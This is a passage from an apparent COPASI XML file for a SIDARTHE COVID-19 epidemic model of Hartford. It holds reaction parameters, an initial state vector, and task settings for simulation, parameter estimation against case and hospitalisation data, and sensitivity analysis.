<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.070000000002386181" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.051725401850888801" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.31706556219183368" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.01" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.2156508570673327" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.095332022003577196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.0082117497220399009" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.0082117497220399009" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.051725401850888801" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_UCH]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_UCH],ParameterGroup=Parameters,Parameter=k1" value="0.095332022003577196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
</ListOfModelParameterSets>
<StateTemplate>
<StateTemplateVariable objectReference="Model_0"/>
<StateTemplateVariable objectReference="ModelValue_76"/>
<StateTemplateVariable objectReference="Metabolite_9"/>
<StateTemplateVariable objectReference="Metabolite_16"/>
<StateTemplateVariable objectReference="Metabolite_13"/>
<StateTemplateVariable objectReference="Metabolite_12"/>
<StateTemplateVariable objectReference="Metabolite_14"/>
<StateTemplateVariable objectReference="Metabolite_17"/>
<StateTemplateVariable objectReference="Metabolite_11"/>
<StateTemplateVariable objectReference="Metabolite_10"/>
<StateTemplateVariable objectReference="Metabolite_15"/>
<StateTemplateVariable objectReference="ModelValue_63"/>
<StateTemplateVariable objectReference="ModelValue_68"/>
<StateTemplateVariable objectReference="ModelValue_70"/>
<StateTemplateVariable objectReference="ModelValue_73"/>
<StateTemplateVariable objectReference="ModelValue_74"/>
<StateTemplateVariable objectReference="ModelValue_75"/>
<StateTemplateVariable objectReference="ModelValue_77"/>
<StateTemplateVariable objectReference="ModelValue_78"/>
<StateTemplateVariable objectReference="ModelValue_79"/>
<StateTemplateVariable objectReference="ModelValue_80"/>
<StateTemplateVariable objectReference="ModelValue_81"/>
<StateTemplateVariable objectReference="ModelValue_82"/>
<StateTemplateVariable objectReference="ModelValue_83"/>
<StateTemplateVariable objectReference="ModelValue_84"/>
<StateTemplateVariable objectReference="ModelValue_85"/>
<StateTemplateVariable objectReference="ModelValue_86"/>
<StateTemplateVariable objectReference="ModelValue_88"/>
<StateTemplateVariable objectReference="ModelValue_89"/>
<StateTemplateVariable objectReference="ModelValue_90"/>
<StateTemplateVariable objectReference="ModelValue_94"/>
<StateTemplateVariable objectReference="ModelValue_99"/>
<StateTemplateVariable objectReference="ModelValue_100"/>
<StateTemplateVariable objectReference="ModelValue_101"/>
<StateTemplateVariable objectReference="ModelValue_102"/>
<StateTemplateVariable objectReference="ModelValue_105"/>
<StateTemplateVariable objectReference="ModelValue_106"/>
<StateTemplateVariable objectReference="ModelValue_108"/>
<StateTemplateVariable objectReference="ModelValue_109"/>
<StateTemplateVariable objectReference="ModelValue_112"/>
<StateTemplateVariable objectReference="Compartment_1"/>
<StateTemplateVariable objectReference="ModelValue_57"/>
<StateTemplateVariable objectReference="ModelValue_58"/>
<StateTemplateVariable objectReference="ModelValue_59"/>
<StateTemplateVariable objectReference="ModelValue_60"/>
<StateTemplateVariable objectReference="ModelValue_61"/>
<StateTemplateVariable objectReference="ModelValue_62"/>
<StateTemplateVariable objectReference="ModelValue_64"/>
<StateTemplateVariable objectReference="ModelValue_65"/>
<StateTemplateVariable objectReference="ModelValue_66"/>
<StateTemplateVariable objectReference="ModelValue_67"/>
<StateTemplateVariable objectReference="ModelValue_69"/>
<StateTemplateVariable objectReference="ModelValue_71"/>
<StateTemplateVariable objectReference="ModelValue_72"/>
<StateTemplateVariable objectReference="ModelValue_87"/>
<StateTemplateVariable objectReference="ModelValue_91"/>
<StateTemplateVariable objectReference="ModelValue_92"/>
<StateTemplateVariable objectReference="ModelValue_93"/>
<StateTemplateVariable objectReference="ModelValue_95"/>
<StateTemplateVariable objectReference="ModelValue_96"/>
<StateTemplateVariable objectReference="ModelValue_97"/>
<StateTemplateVariable objectReference="ModelValue_98"/>
<StateTemplateVariable objectReference="ModelValue_103"/>
<StateTemplateVariable objectReference="ModelValue_104"/>
<StateTemplateVariable objectReference="ModelValue_107"/>
<StateTemplateVariable objectReference="ModelValue_110"/>
<StateTemplateVariable objectReference="ModelValue_111"/>
<StateTemplateVariable objectReference="ModelValue_113"/>
</StateTemplate>
<InitialState type="initialState">
0 0 0 0 0 0 0 0 0 894014 0 0.59999999996170328 0.070000000002386181 0.31706556219183368 0 0 0 0 0.91706556215353696 0.91706556215353696 0.082992072943155248 0.28565085706971888 0.14705742385446599 NaN NaN 4.5311562921747859 5.0334782213054721e-07 1.0066956442610944e-06 2.0133912885221893e-08 3.0200869327832834e-08 0.059999999999999998 0.11077520991184649 0.11077520991184649 0.11077520991184649 0.22155041982369297 0 0 0.64906638845583053 0 0 1 0.89999999970843814 0.017999999994168764 0.44999999985421907 0.026999999991253142 0 0.59999999996170328 0.00299207294076907 0.01 0.31706556219183368 0.070000000002386181 0.2156508570673327 0.095332022003577196 0.051725401850888801 894014 0.78222655465241187 0.29999999999999999 0.0054878294478546081 0.059999999999999998 1 0.64906638845583053 0.22155041982369297 -1 -1 -1 0 0.0082117497220399009 3.5674816571616477
</InitialState>
</Model>
<ListOfTasks>
<Task key="Task_13" name="Steady-State" type="steadyState" scheduled="false" updateModel="false">
<Report reference="Report_9" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="JacobianRequested" type="bool" value="1"/>
<Parameter name="StabilityAnalysisRequested" type="bool" value="1"/>
</Problem>
<Method name="Enhanced Newton" type="EnhancedNewton">
<Parameter name="Resolution" type="unsignedFloat" value="9.9999999999999994e-12"/>
<Parameter name="Derivation Factor" type="unsignedFloat" value="0.001"/>
<Parameter name="Use Newton" type="bool" value="1"/>
<Parameter name="Use Integration" type="bool" value="1"/>
<Parameter name="Use Back Integration" type="bool" value="0"/>
<Parameter name="Accept Negative Concentrations" type="bool" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="50"/>
<Parameter name="Maximum duration for forward integration" type="unsignedFloat" value="1000000000"/>
<Parameter name="Maximum duration for backward integration" type="unsignedFloat" value="1000000"/>
<Parameter name="Target Criterion" type="string" value="Distance and Rate"/>
</Method>
</Task>
<Task key="Task_12" name="Time-Course" type="timeCourse" scheduled="false" updateModel="false">
<Report reference="Report_29" target="timecourses.txt" append="1" confirmOverwrite="0"/>
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="412"/>
<Parameter name="StepSize" type="float" value="0.51094890510000002"/>
<Parameter name="Duration" type="float" value="210"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value="0 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50 52 54 56 58 60 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 126 128 130 132 134 136 138 140 142 144 146 148 150 152 154 156 158 160 162 164 166 168 170 172 174 176 178 180 182 184 186 188 190 192 194 196 198 200 800"/>
</Problem>
<Method name="Deterministic (LSODA)" type="Deterministic(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="1e-08"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="100000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
<Task key="Task_11" name="Scan" type="scan" scheduled="true" updateModel="false">
<Report reference="Report_28" target="ct-Model1-sampling-TC-4-8-2020.txt" append="0" confirmOverwrite="0"/>
<Problem>
<Parameter name="Subtask" type="unsignedInteger" value="1"/>
<ParameterGroup name="ScanItems">
<ParameterGroup name="ScanItem">
<Parameter name="Number of steps" type="unsignedInteger" value="1"/>
<Parameter name="Type" type="unsignedInteger" value="1"/>
<Parameter name="Object" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1],Reference=InitialValue"/>
<Parameter name="Minimum" type="float" value="0"/>
<Parameter name="Maximum" type="float" value="1"/>
<Parameter name="log" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<Parameter name="Use Values" type="bool" value="0"/>
</ParameterGroup>
</ParameterGroup>
<Parameter name="Output in subtask" type="bool" value="1"/>
<Parameter name="Adjust initial conditions" type="bool" value="0"/>
<Parameter name="Continue on Error" type="bool" value="1"/>
</Problem>
<Method name="Scan Framework" type="ScanFramework">
</Method>
</Task>
<Task key="Task_10" name="Elementary Flux Modes" type="fluxMode" scheduled="false" updateModel="false">
<Report reference="Report_8" target="" append="1" confirmOverwrite="1"/>
<Problem>
</Problem>
<Method name="EFM Algorithm" type="EFMAlgorithm">
</Method>
</Task>
<Task key="Task_9" name="Optimization" type="optimization" scheduled="false" updateModel="false">
<Report reference="Report_7" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Subtask" type="cn" value="CN=Root,Vector=TaskList[Time-Course]"/>
<ParameterText name="ObjectiveExpression" type="expression">
</ParameterText>
<Parameter name="Maximize" type="bool" value="0"/>
<Parameter name="Randomize Start Values" type="bool" value="1"/>
<Parameter name="Calculate Statistics" type="bool" value="1"/>
<ParameterGroup name="OptimizationItemList">
<ParameterGroup name="OptimizationItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.6"/>
<Parameter name="UpperBound" type="cn" value="1"/>
<Parameter name="StartValue" type="float" value="0.72416446759999997"/>
</ParameterGroup>
<ParameterGroup name="OptimizationItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="1e-6"/>
<Parameter name="UpperBound" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="StartValue" type="float" value="0.21627369042058708"/>
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="OptimizationConstraintList">
</ParameterGroup>
</Problem>
<Method name="Hooke & Jeeves" type="HookeJeeves">
<Parameter name="Log Verbosity" type="unsignedInteger" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="50"/>
<Parameter name="Tolerance" type="float" value="1.0000000000000001e-05"/>
<Parameter name="Rho" type="float" value="0.20000000000000001"/>
</Method>
</Task>
<Task key="Task_8" name="Parameter Estimation" type="parameterFitting" scheduled="false" updateModel="true">
<Report reference="Report_25" target="" append="0" confirmOverwrite="0"/>
<Problem>
<Parameter name="Maximize" type="bool" value="0"/>
<Parameter name="Randomize Start Values" type="bool" value="0"/>
<Parameter name="Calculate Statistics" type="bool" value="0"/>
<ParameterGroup name="OptimizationItemList">
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ZeroDay],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0"/>
<Parameter name="UpperBound" type="cn" value="15"/>
<Parameter name="StartValue" type="float" value="3.5674816570000001"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu_UCH],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="1e-06"/>
<Parameter name="UpperBound" type="cn" value="0.0700000000023862"/>
<Parameter name="StartValue" type="float" value="0.0082117497220399009"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.89595609442283"/>
<Parameter name="UpperBound" type="cn" value="1"/>
<Parameter name="StartValue" type="float" value="1"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.607323480752572"/>
<Parameter name="UpperBound" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="StartValue" type="float" value="0.64906638845583053"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.0344836012339258"/>
<Parameter name="UpperBound" type="cn" value="0.0517254018508888"/>
<Parameter name="StartValue" type="float" value="0.051725401850888801"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.00299207294076907"/>
<Parameter name="UpperBound" type="cn" value="0.00448810941115361"/>
<Parameter name="StartValue" type="float" value="0.00299207294076907"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="OptimizationConstraintList">
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="4.5"/>
<Parameter name="UpperBound" type="cn" value="6"/>
<Parameter name="StartValue" type="float" value="3.3213046550000001"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
<Parameter name="Steady-State" type="cn" value="CN=Root,Vector=TaskList[Steady-State]"/>
<Parameter name="Time-Course" type="cn" value="CN=Root,Vector=TaskList[Time-Course]"/>
<Parameter name="Create Parameter Sets" type="bool" value="0"/>
<ParameterGroup name="Experiment Set">
<ParameterGroup name="Experiment">
<Parameter name="Key" type="key" value="Experiment_1"/>
<Parameter name="File Name" type="file" value="CT-Hartford-COVID19.tsv"/>
<Parameter name="First Row" type="unsignedInteger" value="1"/>
<Parameter name="Last Row" type="unsignedInteger" value="52"/>
<Parameter name="Experiment Type" type="unsignedInteger" value="1"/>
<Parameter name="Normalize Weights per Experiment" type="bool" value="1"/>
<Parameter name="Separator" type="string" value="	"/>
<Parameter name="Weight Method" type="unsignedInteger" value="1"/>
<Parameter name="Data is Row Oriented" type="bool" value="1"/>
<Parameter name="Row containing Names" type="unsignedInteger" value="1"/>
<Parameter name="Number of Columns" type="unsignedInteger" value="7"/>
<ParameterGroup name="Object Map">
<ParameterGroup name="0">
<Parameter name="Role" type="unsignedInteger" value="3"/>
</ParameterGroup>
<ParameterGroup name="1">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
</ParameterGroup>
<ParameterGroup name="2">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Total_Hospitalized],Reference=Value"/>
</ParameterGroup>
<ParameterGroup name="3">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration"/>
</ParameterGroup>
<ParameterGroup name="4">
<Parameter name="Role" type="unsignedInteger" value="0"/>
</ParameterGroup>
<ParameterGroup name="5">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
</ParameterGroup>
<ParameterGroup name="6">
<Parameter name="Role" type="unsignedInteger" value="0"/>
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="Validation Set">
<Parameter name="Weight" type="unsignedFloat" value="1"/>
<Parameter name="Threshold" type="unsignedInteger" value="5"/>
</ParameterGroup>
</Problem>
<Method name="Particle Swarm" type="ParticleSwarm">
<Parameter name="Log Verbosity" type="unsignedInteger" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="20000"/>
<Parameter name="Swarm Size" type="unsignedInteger" value="50"/>
<Parameter name="Std. Deviation" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Random Number Generator" type="unsignedInteger" value="1"/>
<Parameter name="Seed" type="unsignedInteger" value="0"/>
<Parameter name="Stop after # Stalled Iterations" type="unsignedInteger" value="0"/>
</Method>
</Task>
<Task key="Task_7" name="Metabolic Control Analysis" type="metabolicControlAnalysis" scheduled="false" updateModel="false">
<Report reference="Report_5" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Steady-State" type="key" value="Task_13"/>
</Problem>
<Method name="MCA Method (Reder)" type="MCAMethod(Reder)">
<Parameter name="Modulation Factor" type="unsignedFloat" value="1.0000000000000001e-09"/>
<Parameter name="Use Reder" type="bool" value="1"/>
<Parameter name="Use Smallbone" type="bool" value="1"/>
</Method>
</Task>
<Task key="Task_6" name="Lyapunov Exponents" type="lyapunovExponents" scheduled="false" updateModel="false">
<Report reference="Report_4" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="ExponentNumber" type="unsignedInteger" value="3"/>
<Parameter name="DivergenceRequested" type="bool" value="1"/>
<Parameter name="TransientTime" type="float" value="0"/>
</Problem>
<Method name="Wolf Method" type="WolfMethod">
<Parameter name="Orthonormalization Interval" type="unsignedFloat" value="1"/>
<Parameter name="Overall time" type="unsignedFloat" value="1000"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/>
</Method>
</Task>
<Task key="Task_5" name="Time Scale Separation Analysis" type="timeScaleSeparationAnalysis" scheduled="false" updateModel="false">
<Report reference="Report_3" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
</Problem>
<Method name="ILDM (LSODA,Deuflhard)" type="TimeScaleSeparation(ILDM,Deuflhard)">
<Parameter name="Deuflhard Tolerance" type="unsignedFloat" value="0.0001"/>
</Method>
</Task>
<Task key="Task_4" name="Sensitivities" type="sensitivities" scheduled="false" updateModel="false">
<Report reference="Report_2" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="SubtaskType" type="unsignedInteger" value="2"/>
<ParameterGroup name="TargetFunctions">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="43"/>
</ParameterGroup>
<ParameterGroup name="ListOfVariables">
<ParameterGroup name="Variables">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="41"/>
</ParameterGroup>
<ParameterGroup name="Variables">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="0"/>
</ParameterGroup>
</ParameterGroup>
</Problem>
<Method name="Sensitivities Method" type="SensitivitiesMethod">
<Parameter name="Delta factor" type="unsignedFloat" value="0.001"/>
<Parameter name="Delta minimum" type="unsignedFloat" value="9.9999999999999998e-13"/>
</Method>
</Task>
<Task key="Task_3" name="Moieties" type="moieties" scheduled="false" updateModel="false">
<Report reference="Report_1" target="" append="1" confirmOverwrite="1"/>
<Problem>
</Problem>
<Method name="Householder Reduction" type="Householder">
</Method>
</Task>
<Task key="Task_2" name="Cross Section" type="crosssection" scheduled="false" updateModel="false">
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<Parameter name="LimitCrossings" type="bool" value="0"/>
<Parameter name="NumCrossingsLimit" type="unsignedInteger" value="0"/>
<Parameter name="LimitOutTime" type="bool" value="0"/>
<Parameter name="LimitOutCrossings" type="bool" value="0"/>
<Parameter name="PositiveDirection" type="bool" value="1"/>
<Parameter name="NumOutCrossingsLimit" type="unsignedInteger" value="0"/>
<Parameter name="LimitUntilConvergence" type="bool" value="0"/>
<Parameter name="ConvergenceTolerance" type="float" value="0"/>
<Parameter name="Threshold" type="float" value="0"/>
<Parameter name="DelayOutputUntilConvergence" type="bool" value="0"/>
<Parameter name="OutputConvergenceTolerance" type="float" value="0"/>
<ParameterText name="TriggerExpression" type="expression">
</ParameterText>
<Parameter name="SingleVariable" type="cn" value=""/>
</Problem>
<Method name="Deterministic (LSODA)" type="Deterministic(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="100000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
<Task key="Task_1" name="Linear Noise Approximation" type="linearNoiseApproximation" scheduled="false" updateModel="false">
<Report reference="Report_0" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Steady-State" type="key" value="Task_13"/>
</Problem>
<Method name="Linear Noise Approximation" type="LinearNoiseApproximation">
</Method>
</Task>
<Task key="Task_14" name="Time-Course Sensitivities" type="timeSensitivities" scheduled="false" updateModel="false">
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<ParameterGroup name="ListOfParameters">
</ParameterGroup>
<ParameterGroup name="ListOfTargets">
</ParameterGroup>
</Problem>
<Method name="LSODA Sensitivities" type="Sensitivities(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
</ListOfTasks>
<ListOfReports>
<Report key="Report_9" name="Steady-State" taskType="steadyState" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Steady-State]"/>
</Footer>
</Report>
